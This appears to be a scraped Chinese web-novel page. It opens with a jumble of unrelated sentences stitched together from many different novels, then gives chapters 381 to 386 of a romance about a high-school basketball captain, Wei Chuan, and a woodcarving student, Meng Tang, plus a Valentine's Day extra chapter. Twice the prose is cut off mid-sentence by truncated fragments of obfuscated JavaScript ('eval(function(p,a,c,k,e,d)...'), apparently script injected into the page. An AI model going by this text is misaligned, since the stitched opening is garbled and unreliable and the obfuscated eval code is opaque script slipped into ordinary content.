“先生,本店可以定制首饰,不过需要加收物品价值半分之五的手续费,最高20000马克!”这名店员倒是极为专业,根本没有受到任何影响,不像负责路易斯和海伦娜两人的店员,此时已经开始出现怠慢的态度。 看着格桑‘花’那肯定的语气和坚定的自信,向福利突然有种犯罪感:利用这么善良的姑娘来达到目的,真的很不忍心,可想想张青山形容的那些,他又只能狠心继续下去。 尉迟宥心里一阵好笑,估计是被玉麟洗脑了吧?都怪自己平时太由着玉麟的性子,那家伙可真够大胆。 第一卷 第381章 【if线 26】早恋无罪 钱逊忍不住要动手的时候,魏川一跃而上,直接跨上了高台,高台得有一米高。 话音落地,江宁心中颇有些五味杂陈,一时不知道应该说些什么。 梁红玉看见纪春花在王云染这里吃瘪,心里竟然还觉得有些舒坦。 当年秦国多次兵出函谷,长平之战废了赵国主力、鄢郢之战重创楚国、灭韩之战打得五国瑟瑟发抖。 陨星在煞气侵袭下,轰然碎裂,萧一合被这股灵力波澜重重的轰击在一边,口中吐出一大口鲜红。 还是太皇太后好说歹说,软磨硬泡,赵家才终于松了口,让赵曼婉与徐策定了婚期,准备待徐策外放历练三年归来后成婚。 无非就是因为有些食材的缺失,所以导致没有办法做出来那些好吃的东西罢了。 根据徐家族谱的记载,他们徐家可是靖朝土生土长的人,要是徐家祖先真来自皇极域,他能不留下点别的信息? 自从自己上一次给江北尧写信,让他注意着点情况之后,他就一直都没有再给自己回信。 三年前,江宁与上官青玉,曾有一段过往,两人轻车简从,游山玩水。 “你懂什么?这个阵法出自半帝之手,非阵法师就算找到了阵眼也未尝能破阵,而且你只需找到一处阵眼即可!”混沌鼎辩解道。 这次学习从省纪?委、政?法委开始,一直到贯彻到下面市县,风声刮得很急”有一种磨刀霍霍的感觉,全省都有一种风雨欲来的氛围。 “陛下放心臣自当令兵将那八名逆贼捉拿”黄袍怪起身拱手说道。 权杖直接穿透池临的身体,同样没有伤害到池临分毫,池临甚至完全不理会这家伙的攻击了。 当死亡人数达到一百二十人的时候,仅剩下的这七十个西班牙人受不了了。在墨西哥这片流传着各种印第安人传说的土地上。生长在这片土地的西班牙人怎么会不晓得。 也就是说,李平原之所以透露这个秘密,是想告诉裴氏父子,他与牙帐主和派之间有联系,而这正是他敢于出塞作战的最大凭仗。 穷凌今年二十二岁,二十二年来,他一直在反抗,强硬和倔强是太阳烛照和太阴幽荧给他贴上的标签,突如其来的屈服让连石和冥角有些不太习惯。 本来甘得夫是想调用风系魔法来砍断绑住自己的绳子,但令他震惊的是,自己居然感知不到魔法元素,宛如被什么东西挡住似的。 所以,在点拨雄阔海的时候,也只能从大面上给予指点。更多的,是靠雄阔海自己琢磨。 话比较少的辟宁相比之下显得更加老练成熟,他看着四周,连一面盾牌都没有的他们根本不好向它下手。但他是猎人,猎人杀的动物多了,身上就会有一股味道,所有动物闻到都会敬而远之。 浑天老祖等人从他身后冲了出来,三十六尊三清王者,个个都是三清五重天之上的强大存在。此刻,以浑天老祖,邪尸和牛魔老祖为首,三十六人同时出手,各自朝着冲来的朱家长老推出了一掌。 第一卷 第382章 【if线 27】来呗 在第一线吃瓜,结果吃的自己的瓜,眼见她们越说越离谱,孟棠赶紧咳了声。 前头两个女生没听到这隐晦的提示,继续唾沫横飞。 孟棠没办法,只能拍了拍她俩。 “杀了他们!”不知是哪个角落里的贵族喊了一声,醉气熏天的他们如今最期盼的就是能上演一场酣畅的打斗,来调节下他们热火着的内心。 雷家虽然是花城八大家之一,但其实六成以上的收入都来自燕京的后台。如今燕京的产业在迅速缩水,那么雷家就会遭受到极大的打击。 两人你来我往的交战在一起,一时间只见一道紫色的光线不停的围绕着山本闪现,每闪现一下便传来巨大的剑气激荡以及金铁相交的声音。 秋荻夫人一眨不眨地盯着康明帝,看着他的嘴说完那些能嗅到血腥气的话。她慢慢地吸了长长一口气,木然的眼神突然变得疯狂凶狠,她尖叫了一声就扑向康明帝。 谁知那个保镖长叹了一声,仿佛有什么难言的苦衷,若有所思地看着永久。雪花飘落在两人的脸上,谁也没有在意,任凭那凉意慢慢地浸入心底。 现在外面下着瓢泼大雨,有种淹城的趋势,哥几个都很是猥琐的躺在沙发上,尽情的看着苍老师最新版,中午饭也没吃,因为家里已经没有什么可以吃的东西了,现在外面有下着瓢泼大雨,也不能出去买。 “吟~!”无名长剑长鸣一声就要朝着噬魂刀砍去。噬魂刀吓的急忙摇摆自己的刀身似乎在求饶。 转了几圈就想出这么个馊主意,还不如老老实实地站着不动,杨松还是摇摇头。 华剑锋五十岁的时候才生下华天雄,现在已经是七十多了,虽然他老当益壮,但是作为儿子,又怎么忍心让自己的老父亲做这种低声下气的事情? 这个乔月斌就抬头看着我,一句话也不说,眼神中充满了血丝,还有面部那狰狞的表情,说实话,我有些怕,不过我我还是伪装的很好,我拉着乔月斌往后退了几步,接着抬头看着那边。 证据都有了,艾力再也没办法辩解,于是将过去的恩恩怨怨全部说了出来。 又一次“砰”的一声,大家甚至怀疑被扑倒在地上的男人脑袋是不是已经开花。 但是游戏这方面,她就算会自己摸索,被发现了,肯定少不了麻烦,于是就去闹着自家哥哥教她玩了。 最后一句时,不知她想到了什么,抹了几层粉的脸上突然晕红一片,咬了唇羞涩地低下头去。 她一开始没能明白,后来看见程易北靠近过来,接住她半边身子的时候,不可置信的微微瞪大了眼睛。 “欢、欢欢,”宋星河的手机已经被放进兜里,空下来的那只手却不知道往哪里放才好。 水伊人嘀咕一句闭了眼睛,可屋外的水伊芙却掉下了一串串眼泪。 好在水脉座位挨着楚天阔。她顺手拿过楚天阔的碗,善解人意地往碗里夹了满满的菜。 “没有。”柳锃很是干脆的回答说道:“明大人好像直接消失了一样,完全没有了丝毫的消息。 冷无常站在山洞那里,没有往里面看,却也对山洞之中了如指掌。 第一卷 第383章 【if线 28】心情不好 魏川点了一杯比较清爽不腻的,接过外卖小哥的奶茶后,他给孟棠打了个电话。 打到一半,他凭借身高优势看到了刚出校门的孟棠。 “你怎么比我还迟?”魏川迎上去。 孟棠将试卷给他:“走的时候忘了,又回头给你去拿了。” 反而罗宾现在所用的这招皇冠式,名字听起来特别大气有气势,可却是招防守寓功的姿式。是以防守性为主,在防守中寻机反攻。 吃饭的时候, 顾诚一直都没有说话,一直到蔺池推开餐具上楼去午休。 ——镖局里的人为寻求庇护,恢复元气,又为了感谢归东景,正好可以顺水推舟,使得大王镖局加入到联营镖局之中。 这些可都是他依仗的人才,能不能种植成功,就看这些人提供的技术保障,他与其信任野生的能长大,还不如信任科学种植能高产量。 自己跟自己闹别扭是解决不了任何问题的,这次就让他长长记性。 有一球领先的围攻和没进球的围攻是很不一样的。再怎么围攻不下也无所谓。反正是昂热队需要攻出来。而昂热队想要攻出来反扑的后果就是被尼斯队再下一城。 纵然是在监察中心,所得到的一些能赋予普通人异能的东西,也被严格分配给了一些为国家做出了特殊贡献,且适合成为异能者的人。 白教授闻言,心中微微一动,虽然话不好听,但是却非常说道到位。 S级潜力球员,哪怕远未到巅峰,也是个在场上令人胆颤的存在。尤其是孙毅要求整个尼斯队围绕萨拉赫来打,这更是把他的作用发挥到极致。 两人一起对着苏微云进攻,孔兰君的孔雀指美丽惑人,虚实未定;秋横波的相思手却繁奥复杂,玄妙无比。 “大胆,是谁在帝都上空飞遁!”这一声响,也是一位负责帝都秩序的灵元境高人喊出的。他这一喊不要紧,洛天吓得差点从半空中掉下来。如今他也顾不得其他,直接向着帝都外飞遁而去。 而到了那个时候,NO如果还没统治这个世界,估计也已经彻底没落了。毕竟构成NO核心的大多是些正在走向没落的财团,才会把自己的未来寄托在这个组织身上,希望通过取得政权来翻盘来反扑。 那一队队有序行走的魂魄,无意识的照过三生石,随后进入其后的六道轮回之门。 骚动越来越大,那童子见到奈何不了石易,索性从怀中拿出一个珊瑚一般的角笛吹奏起来。 破城大橹是木盾,三指厚的木盾,可以抵挡很多型号的汉军弩箭,但是胡珍这张特制的蹶张弩几乎赶上三人用的大黄弩的力道,弩箭稳稳的击碎了破城大橹的盾面。如果换成别人绝对会被破盾而出的弩箭一箭毙命。 两人交锋,赤地千里把实力最强的老将严颜派往中路,炮大有玩了个诡计,这回不在用吕布单中,而是让吕布和庞德一起去了中路,上路赵云和马超这对老搭档。而下路优势路则是关羽一人。 哗啦,哗啦,身体碰到树枝发出声响,这一刻所有疲惫瞬间消失,想到可以回到村寨见到亲人,不用在这种地方受苦,内心高兴可想而知,一阵杂乱脚步声过去,石洞内那些人身影随之消失。 当然,回囚牢的话还有另外一件重要的事情要做,不过这件事情思来想去感觉还应该事先和乌MM打个招呼才行。 “将军,还是先行退后,再做打算。”眼看着上面弓箭拉满,这个时候,如果真碰到一个愣的,直接下令射箭,成么下面的这些人谁都跑不了。 特别是其中一个身材高大的年轻人,见到赢霜对任煌这样重视,眼中顿时多了几分‘阴’翳。 整个蛮荒在卫星显示上不过千里,可是在踏入其中的修者才发现,他们根本就无法测出,蛮荒的具体面积,苍天古树,枯枝腐叶,沼泽陷阱,毒虫猛兽,花明与福伯在踏入其中的切身感受。 “师父,你果然在这里,”我突然耳朵边传来一个熟悉的声音,没错,就是昨晚拜我为师的妹子,这妹子穿着一身比基尼,将那身材展示的淋漓尽致。 “老郭,他大爷的,跟我一起揍他丫的,”老陈直接一脚将这货从凳子踹到了地下,接着对我喊道。 像她怎么知道我地址的这种问题我都已经不想问了,反正这种简单的事对于他们上流社会的人来说也不过是几个电话就轻易搞定了。 “我有点事情要办,今天可能也没有时间陪你吃饭了,改天有时间我再联系你。”龙翔有点歉意的说道。 老怪物真是走了狗屎运了,到处坑蒙拐骗。此次到北边厮混,都能让他随手弄回一个宝贝疙瘩,真是活见鬼。 最后龙翔还是决定跟上去看看,一路上给绝留下暗号,等到他们与自己汇合之后就把芯片交给绝,让她带回国给许老。而自己则要跟踪那支神秘的队伍,看看他们到金三角来到底是要做什么。 虽然不能确定那个秃子到底有没有危险,可是找不到他的具体位置却让墨菲感觉到了一种前所未有的恐慌。他的双手已经被冷汗湿透,握枪的手甚至都微微的颤抖起来。秃子找不到了,那么就要找到那个开枪的人。 第384章 【if线 29】那我呢 天气不错,但已经进入初冬,雁清这两天大降温,孟棠直接套了个羽绒服就出来了,很少随意。 魏川在西侧台阶前站定,正好能晒到太阳。 他一屁股坐下,叹了声气:“你说我是不是太急了?” 孟棠没有急着回答,在他身边坐下,问:“你当初来雁清的时候是什么心情?” “愤怒。”魏川永远都忘不了,“但愤怒的情绪没有操控我多久,我只有一个念头,不管怎么样,篮球我会继续打下去。” “你看,你当初只是想要把篮球继续打下去,现在组了队想要赢,那……你想要第几呢?” 魏川沉默了,体育比赛,只有第一和其他。 “除了他们,你也应该改变心态。”孟棠说,“你不得第一,像要了你的命,但你觉得可能实现吗?” 魏川摇了摇头,可能性很低。 他以前在自欺欺人个什么劲,其实他心里清楚,只是不认输罢了。 “我知道你不想输。”孟棠缓慢地劝着,“但你没有因为来雁清而颓废,已经胜过很多人,你和宋冕他们都需要调整。” 魏川失笑:“把你叫来,还真叫对了。” 孟棠在高他一层的台阶上坐下,说:“其实我不懂你们比赛的规则,或许你可以找他们,一个一个地聊,可能是你太厉害,也有可能他们的心里还有别的顾忌。” 魏川点了点头,随后起身:“走吧,进去看看。” 第三场比赛是段思齐暂代队长位,魏川惊讶地发现,宋冕几个人主动投球了。 他拍了下蒋毅中,问他:“什么情况?” 蒋毅中摇摇头:“不知道,宋冕和钱逊带着时巍突然燃了起来。” 魏川在一旁坐下,看了两个回合,可算是弄懂了。 段思齐和陈瑞配合默契,为了不被嘲得太狠,两人算是拼尽了全力,以至于篮球几乎落不到宋冕三人手上。 不知道什么原因,反倒是惹了宋冕三人的反骨,反正表情看着不太好。 孟棠似乎看出了什么,偏过头问魏川:“你平时在队里很有威信吗?” 魏川不知道她为什么问这个,说:“没有吧,老周比较有威信。” “他们听你话吗?” 孟棠知道他是队长,于是多问了一句。 魏川点了点头:“听。” “那你看。”孟棠指了指场上,“你有没有觉得他们几个人更像是一个层次的人,这个层次不是贬义,你再看你旁边坐着的几个人,又是一个层次的人。” 魏川没懂,偏头对上她的视线,静待她的下文。 “对于宋冕他们来说,可能你在一个层次,段思齐和陈瑞在一个层次,然后就是他们三个人以及你后招的四个人分别又在两个层次,简单来说就是你这个队里一共十人,分了四个层次。” 魏川敛眉:“你的意思他们各自有亲近的人,有点像抱团的小团体?” 孟棠点了点头:“给我的感觉就是这样的。” 魏川不解地看着他:“那我为什么一个人?” 孟棠叹了声气,少爷对自己真是一无所知。 只是还不等孟棠回答,场上的宋冕烦躁地抹了一把汗,嘴里还骂骂咧咧的。 “你俩这么厉害,干脆就你俩打得了呗。”宋冕很少不爽地看着段思齐。 段思齐冷冷地瞥了他一眼:“你们三个这么不厉害,干脆退队算了呗。” “你算老几啊?”宋冕当即火气冲天,“这个队是老子先来的。” “所以打球凭先来后到呗?”段思齐嗤笑,“那怎么还像个怂包一样躲在魏川后面呢?” “**——” 宋冕还没冲到段思齐跟前,被人从后面扼制了命运的后脖颈。 他一转头见是魏川,气焰熄了不少。 眼见第四节也没打的必要了,魏川忍着气,扬起笑脸给程茵的队伍赔笑表达了歉意。 周沉也没想到是这个结果,但他早已不是年轻时那个脾气火爆的教练了。 魏川情绪都能稳住,他要是发飙,这个队伍迟早得散。 他将程茵他们送出去,说:“你们稍微等我一下,请你们吃饭。” “别了老周,还是哄你的学生去吧。”程茵满脸无所谓,“下次再约啦。” “等我吧,心情不太好,想喝点酒,也就只能和你们喝,这件事,我打算留给他们的队长处理,看看魏川是唱白脸还是黑脸,我明天再反过来唱。” 其余人失笑:“老狐狸。” “我进去说两句就走。” 周沉转头进了体育馆,馆内气氛压抑,谁都没说话。 周沉面无表情地走过去,说:“今天的球,打得我很不满意,当初你们来报名的时候,我和魏川嘴上让你们想好再来,其实心里一直期盼着你们都能够留下来。” “我以前带的那个队,还没十个人,不是什么正规军,完全野人来的,但他们比你们有血性。” “我和魏川也算是经历了一些困难才组建了这支堪堪够对抗训练的队伍,只要我和他在,这支队伍就不会散。” “我的意思是,没有你们,这支队伍也不会散。” “今天给你们最后一次机会,想退出的,明天来找我。” “老周。”魏川蹙眉,不明白他为什么这么说。 周沉对他摇摇头:“行了,剩下的你们年轻人解决吧,我还有约,先走了。” 魏川知道程茵那批人还在馆外等着他,于是挥了挥手:“行吧,这里交给我。” 周沉对魏川很放心,转头就走了。 宋冕心里开始发虚,甚至打起了退堂鼓。 钱逊和他熟,一看就知道他什么想法,当即就对魏川表示:“反正我不走,我生是雁清男篮的人,死是雁清男篮的鬼。” 魏川还没说话,段思齐捡起了一旁的外套,说:“我先走了,还有兼职要做。” 魏川给了陈瑞一个眼神,陈瑞立刻会意,追了上去。 冯靖、蒋毅中、王宁和李书杰四个人,看着魏川大气不敢喘一声。 魏川暂时没理会他们,反而转头走到孟棠跟前,跟她小声说:“你也等我一下吧,我还有事想要问你,你可以先跟梁菲菲出去逛一逛,想吃什么我买单。” 孟棠说:“我就在馆外等你吧。” 说完,她拉着梁菲菲走了。 “好了,都过来吧。”魏川拍了拍手,“过来聊一聊。” 七个人**到魏川的面前,谁都不知道说什么。 就在他们以为魏川要发飙的时候,他却突然问了句:“咱们之前几个人聚过餐,但一起还没有过吧,明天来我家吧,我负责去约段思齐和陈瑞。” 宋冕一愣:“川哥,你不骂我。” 魏川只是拍了拍他的肩:“骂你干什么,我作为队长,责任是最大的。” “是我把你们招进了队伍里,对你们着急的也是我,其实我的错是最大的。” “我本来想今天虐一虐你们的,结果确实虐到了,但这个结果也不是我想要的。” “我自己现在也比较乱,而且孟棠还在等我,我跟她有点事,有什么话咱们明天再说吧。” “大家今天心情肯定也不好,明天中午去我家吃饭,我家有院子,可以烧烤,你们只管人过来就行。” “行。” 宋冕的情绪来得快去得也快,见魏川没有重话,当即应了下来。 想起刚才自己的态度,咧着嘴笑:“我明天再给老段道歉吧。” “你俩的事自己解决。”魏川拿了包,“我先走了。” “队长拜拜。” 魏川潇洒地挥了挥手。 宋冕和其他人互相对视了眼,突然来了句:“要不,咱们几个练练?总不能一直被人家压着吧?” “你说段思齐和陈瑞啊?”时巍问。 宋冕点了点头:“他俩现在是雁清中学的人,但他俩之前是一中的,怎么他俩打球厉害,咱们雁清中学的就不行了呢?” “人都是比出来的。”蒋毅中耸了耸肩,“那他俩也打不过队长啊。” “但队长说段思齐很厉害。”李书杰说,“说他但凡换个环境和条件,会比现在还厉害。” “人一来就当副队长就知道了啊,有能力才这样的吧。”王宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看她表情就知道她没反应过来,魏川食指抵住孟棠的额头:“乱想什么,还有其他人。” 孟棠下意识闭上眼睛往后仰了仰:“我还以为你就约她一个。” 魏川气笑了:“我约她一个人去我家?我脑子没病吧?” “你约了你队友?让段思齐和宋冕把串言欢?” 魏川被她的话逗笑:“有这方面的意思,你要来吗?” 孟棠摇摇头:“你们吃吧。” 篮球队的一群人解决问题,她去算怎么回事。 魏川也没勉强,说:“你之前跟我说的问题,你再接着说吧,就是我们队里分了四个层次的事。” “其实你可以看作是小团体。”孟棠说,“这里面最坚不可摧的就是段思齐和陈瑞,段思齐因为家庭的原因,其实对别人有很高的防备心。” “他之所以信任陈瑞,也是因为两人从初中就是同学,而且陈瑞和他相处永远都有一个合适的度。” “他知道段思齐的底线,知道怎么样不让他反感地去帮他。” “这两人打球很默契,我一点也不意外,其实难的不是让其他人接受他俩,难的是他俩能够主动融入队伍里,把宋冕他们当做真正的队友。” “宋冕、时巍和钱逊,这三人本来就认识,又是一个年级的,因为先加入队伍在先,有下意识的优越感。” “而剩下的四个人,其实我还没将他们对号入座,但不难看出,正式比赛的时候,他们坐冷板凳的几率比其他人都要大。” 魏川点了点头,觉得孟棠说得很有道理。 “没人想坐冷板凳。”孟棠说,“你们球队不是有相关的福利手段吗?其实可以刺激一下,他们愿意动起来,自然会为了福利去争夺首发的位置。” 球队有物质福利,也有精神和荣誉的激励。 除了现金和实物奖励之外,还有餐饮、交通等各种补贴。 各种荣誉表彰对于他们来说也很重要,就像演员演戏,也终其一生执着于一座奖杯。 “你光让他们主动抢球、传球和进球是没什么作用的,因为他们之间还没建立起深厚的情感链接,彼此之间还不是很熟。” 魏川突然笑了声:“厉害啊你,还有这种本事呢?” 孟棠和他一道过了马路,说:“旁观者清。” “那我呢?你还没说我怎么一个人一层呢?”魏川突然站定,看着她的眼睛,轻轻问了一句。 第385章 【if线 30】魏川过来了 孟棠看到路边的糖葫芦,说:“你稍微等我一会儿,我买几根糖葫芦。” “我来。”魏川拦下她,“要几根,什么口味的?” “我自己来。” 说着,孟棠指了指:“老板,两根糖葫芦,一根草莓,你要什么?” 魏川倒是没拒绝:“蓝莓的吧。” 老板麻利地将糖葫芦打包好,孟棠将蓝莓的给了魏川,自己拿了草莓的吃。 魏川将外表的糖咔嚓咬掉,吐在袋子里,问:“山楂的给谁带的?” “给我爷爷和方姐。”孟棠说,“这两人吃糖葫芦只吃山楂的。” 魏川失笑:“人家吃的才是正宗的。” 孟棠咬下两颗草莓后,肚子不是那么饿了,才对魏川说: “你知道自己和别人最大的不同在哪里吗?” 魏川摇摇头:“不知道,我也没觉得和别人有什么不一样的。” 孟棠莞尔:“你家里人给学校的设备资金,一笔一笔算起来,以亿为单位,当然,这些包括建设你们篮球队的训练场地。” “你看着和大家都一样,但你不管说什么话,都有底气。这份底气,来自于你的家庭。” “而你们篮球队家境最好的宋冕和蒋毅中,在你面前yes望尘莫及。” “人对于强于自己的人,会不自觉地仰望,不敢越雷池一步。” “归根结底,你们不是一个世界的人。” 魏川微微怔住,半晌后,问孟棠:“那你觉得,我们俩是一个世界的人吗?” 孟棠还剩最后两颗草莓,她慢条斯理地吃完,摇了摇头:“不是。” 魏川追问:“为什么?就因为我家里有钱?” 孟棠点点头:“金钱可以解决这个世界上99%的事情,你和别人最大的不同就是你有一份与生俱来的松弛,这是很多普通人做不到的。” “宋冕他们还未曾真正地认识你。” 魏川反复咀嚼孟棠的话,他以前在z市,和他玩一起的非富即贵,他没有因为社交问题烦恼过。 有一句话说得好,做任何事之前先学会做人。 而他在打球之前恐怕也得让宋冕他们知道自己到底是个怎么样的人。 魏川心里有点数了,他轻松了不少,转头对孟棠笑:“走,请你吃饭。” “又请我吃饭?”孟棠已经**以为常,“今天吃什么?” “你想吃什么就吃什么。” 孟棠翻过手机给他看了眼时间:“吃不了了,和爷爷说好了六点回。” 魏川知道孟棠除课业外,还有手艺要选,只能遗憾地将她送了回去。 孟棠到家的时候,方姐正好做好了晚饭。 不见老爷子的身影,孟棠问了句:“爷爷人呢?” 方姐说:“在后院呢,不让叫。” 只有做活的时候才不让叫,估计是前段时间接的活计。 “我去看看。” “最好叫过来一起吃饭,不然冷了就不好吃了。” “知道了。” 孟棠去了后院,孟遇春工作的时候,也只有她能去打扰。 孟棠推开了工坊的门,里面只有灯亮着,老爷子背对着她,沉浸在雕刻的世界里。 其实干手艺活的,经常会忘了时间,孟棠**以为常。 “爷爷。”孟棠叫道,“该吃饭了。” 孟遇春手下一顿,回眸笑了声:“回来的还挺早。” 孟棠:“……不是你让我这个点回来的吗?” “来。”孟遇春朝她招手,“今天给你说一说这件龟鹤齐龄的摆件。” 孟棠饭也忘了吃,当即走了过去。 方姐看到冷掉的饭菜也只能在心里叹气,这祖孙俩,没一个让人省心的。 眼见天黑得望不到头,两人才从后院出来。 见方姐气呼呼去热菜,孟棠自觉去帮忙拿碗筷。 第二天,孟棠哪里也没去,继续手里的雕刻。 快要过年了,老爷子给她今年布置的主题是十二生肖。 孟棠没有组合,目前已经到生肖狗了。 眼见天边流云飞转,孟棠案桌上的手机响了起来。 她打开看了眼,愣怔了半晌,突然起身去开了后院的门。 “我就知道你还没走。”魏川扬着大大是笑挤了进来。 真是不客气,孟棠惊讶过后关上了院门,转头问:“你怎么过来了?” 魏川神神秘秘去翻包里的东西:“猜我给你带什么了?” 孟棠摇摇头:“不知道。” 铛铛铛铛……”魏川自己做了个音效,掏出了一个长盒子。 “什么东西啊?”孟棠实在好奇。 魏川打开盒子,露了里边的锡纸,孟棠顿时无语:“你不会把家里的烧烤带过来了吧?” “聪明。”魏川挑眉一笑,“你过来看看,包你好吃。” 院外有一方石桌,孟棠让他将东西放到石桌上。 魏川打开,锡纸上结上了不少水珠,魏川看着有些蔫掉的蔬菜,尴尬一笑:“我用了最短的时间跑过来的。” 孟棠惊吓了下,竟然是跑过来的,怎么不见喘?这体力未免太好了。 “你放心吃吧,菜是阿姨一早买的,烤串是饭店师傅过来做的。” 孟棠好久没吃这些东西,见状拿起一片西葫芦尝了口。 “怎么样?”魏川眼巴巴地问。 孟棠点了点头:“好吃。” “鸡翅一绝,特地给你留的。”魏川说,“怎么样?我好吧?” 孟棠失笑:“好。” 魏川因她一抹笑而失神,快速地找补:“那是,我对朋友一向都很好。” “嗯。”孟棠垂眸应了声。 这点东西吃完,晚饭都省了。 孟棠回到房间,收拾了一下,拿上书包和魏川一道去学校。 路过前院的时候,正好碰上孟遇春,他盯着魏川“嘿”了声:“你小子凭空出现啊?” 魏川摇头:“非也非也,我从您家后门正大光明进来的。” 孟遇春看了眼孟棠,除了她,没人给开门了。 老爷子哼了声:“正大光明要走正门。” 魏川一时语塞,孟棠深知他俩的幼稚,连忙拉了把魏川:“走了。” 老爷子瞄着这个动作眯了眯眼。 孟棠无知无觉,和魏川出了大门。 现在天气冷了,孟棠懒得骑车,都靠步行。 刚拐了弯,孟棠就问:“你们今天聊得怎么样?” 魏川点点头:“还不错,最起码段思齐很好说话,宋冕犯冲的事,他也没有计较。” “他想计较都没时间吧。”孟棠似有感慨。 魏川突然低声笑了起来,也不知道戳到他哪根神经了。 “……” 回到教室,魏川和孟棠各忙各的。 今晚所有人都要留在教室上课,快要上课了,他们艺术生的文化课整体上都在拖后腿。 所以老师们都会把晚上的时间利用起来。 临近假期,所有人的心里开始浮躁,但魏川没什么感觉,回z市过个年就来了。 队里的训练计划已经下来了,过年一共放七天,初四开始训练。 除夕前一天放假,他已经跟家里人说过了。 邵一鸣他们打来视频的时候,魏川恶作剧心起,告诉他们自己不回去过年。 “我靠,你野了啊?过年都不回了?”邵一鸣瞪眼,指了指身后的队友,“你看一个个望眼欲穿的。” 魏川失笑:“那怎么办,我现在也有自己的队伍了,实力差距太过悬殊,只能死命训练,弥补这份差距呗。” “组起来了?”邵一鸣替他开心,“怎么样啊?” 魏川摇摇头:“跟你们比不了,但组起来了。” 邵一鸣看着魏川眼底的复杂,心里都有点发酸,大少爷什么时候吃过这种苦。 现在又花钱又出力,结果队伍不行,可能决赛都进不了。 一年后他才可以参加比赛,那有可能是他高中生涯的最后一场,本应该意气风发,荣誉加身地结束。 结果因为一个卑鄙小人一切都要从头再来,邵一鸣越想越气,拳头都捏紧了。 他虽然没有亲眼看到魏川的队伍,但用脚趾头想都知道那有多难。 雁清是个小地方,小地方的各项资源难以和z市相比。 即便魏川的身后有魏立峰,但光有钱,没有人。 有点名气的球员不会放弃大城市的优越资源跑去陪太子爷玩,教练也是一样。 “兄弟,你受苦了。” “什么跟什么。”魏川脸上看不出苦,“现在这样也挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我们也是正规军。”段思齐说,“他们有现在的成绩也是常年训练的结果。” 魏川说:“老段说得对,没有人生来就会打篮球,他们性格都还不错,平常心对待吧。” 二十分钟后,邵一鸣一行七个人抵达雁清中学。 魏川亲自接了人,又和门卫交涉了一番,最后是周沉出面将人带了进来。 篮球训练场已经建立好了,他们现在有专门的场馆,比不上z市的场馆,但在雁清绝对是独一份了。 “魏川。” 许昕言看到人,矜持地打了声招呼。 她带着朋友安琪一起来的,她本来看见人要冲上去的,结果被安琪拦住了,让她矜持点。 魏川看到她俩,平淡地点了点头。 “邵一鸣,带着他们过来,我给你们介绍一下。” “来了。” 第一次见到只能在电视上看到的强队,宋冕他们又紧张又激动。 时间本来就不多,魏川赶紧拉着:“好了好了,先打球,待会儿吃饭的时候大家再重新认识一下。” 邵一鸣看出他的迫不及待,笑了声:“来,今天就当是两个学校的友谊赛了。” 魏川彻底被点燃,转头喊:“段思齐、陈瑞、宋冕和钱逊上。” 四个人立刻站了出来。 魏川对站在一旁的周沉点了点头,他自己也很紧张,好久没跟邵一鸣他们打了。 一个半小时后,训练馆浩浩荡荡出来一群人。 魏川打爽了,出来的时候和邵一鸣聊天,笑得前仰后合。 孟棠和梁菲菲从画室出来,打算一起吃个饭再回,在校门口遇见了他们。 但孟棠的注意力很快就从魏川转到了他一旁的女生身上。 梁菲菲也注意到了,拉了下孟棠的胳膊:“魏川旁边的女生是谁啊?” 孟棠摇摇头,她怎么会知道。 “看气质很像富家千金,是他朋友吧?z市来的?” 孟棠继续摇头:“不知道,稍微等一下吧,让他们先走。” “可是……”梁菲菲抬手,“魏川过来了。” 第386章 特别番外 情人节 飞机落地阿泰勒机场时,舷窗外暮色正浓,天边的橘色像被揉洗过多次,描绘着雪山纯净的轮廓。 眼尾染上一层温热,孟棠蹙了蹙眉,悠悠转醒。 她怔了半晌,脑子开机后,偏头询问:“到了?” 魏川“嗯”了声:“走吧。” 乘客走差不多了,孟棠跟随魏川出了机场,直奔酒店。 这是他们结婚的第三年,也是魏川不理她的第三天。 来这里之前,孟棠还在忙着一座八仙过海的摆件。 因为任务繁重,几次累得腰直不起来,魏川看在眼里,疼在心里,和她沟通了几次,孟棠都说没事。 魏川一急,语气就重了些,但孟棠依旧该干嘛就干嘛。 结婚才三年,魏川觉得孟棠对他已经无所谓了。 老爷子见不得他俩闹别扭,一打包将两人扔到了祖国的西北边。 大冬天滑个雪也不错,孟棠也好久没出门了。 车辆缓缓驶入度假酒店的庭院,停稳后,魏川率先下了车,孟棠拿包迟了一会儿。 魏川给她开了车门,孟棠朝他笑了笑,挽住他的胳膊。 哼!魏川扭过脸,一个讨好的小动作而已,不能心软。 魏川订的度假酒店,藏在雪山脚下。 门童穿着笔挺的制服,恭敬地迎了上来,提醒他们小心风雪。 外头非常冷,魏川下意识搂住孟棠,几步进了酒店内,一块巨大的羊绒地毯引入眼前,孟棠踩上去,大门在身后关上,隔绝了外面的冰天雪地。 接待员双手递上房卡:“房间内配备了独立的壁炉,还有免费的高端护肤品与温泉泡澡包,楼下有餐厅、温泉区和滑雪装备租赁区,您有任何需求,随时拨打前台电话就好。” 孟棠微微颔首,接待员又上了热姜茶和温热的毛巾,毛巾上沾着淡淡的雪松气。 孟棠喝了口,缓缓露了个笑,还不错。 茶几餐垫上,摆放着迎宾摆盘,一碟子拼盘水果,一块慕斯和4枚马卡龙以及一小盒品牌黑巧。 孟棠捏了一块马卡龙给魏川:“吃吗?” 魏川差点没绷住就接了,他余光瞥了眼,说:“我不爱吃甜的。” 孟棠直接将马卡龙堵他嘴上:“现在又不打球了,能吃。” 魏川一张口想要反驳,马卡龙就进了他的口腔。 孟棠见他咬住了,笑着起身。 他们住在12楼的雪山景观套房,可以一窥雪山全貌。 孟棠不由自主叹了声:“好漂亮。” 魏川来到她身后,和她一道看雪山。 不知道是不是在家里待久了,乍然一看辽阔壮丽的风景,魏川觉得自己小肚鸡肠了。 孟棠回头,对魏川笑了笑:“给我拍张照吧?” 魏川拿出手机,打开相机后,习惯性弯腰,将她框进镜头。 孟棠微微歪着头,魏川抬眼:“看镜头啊,看哪儿呢?” 说着,他又看向手机,发现孟棠还是没看镜头。 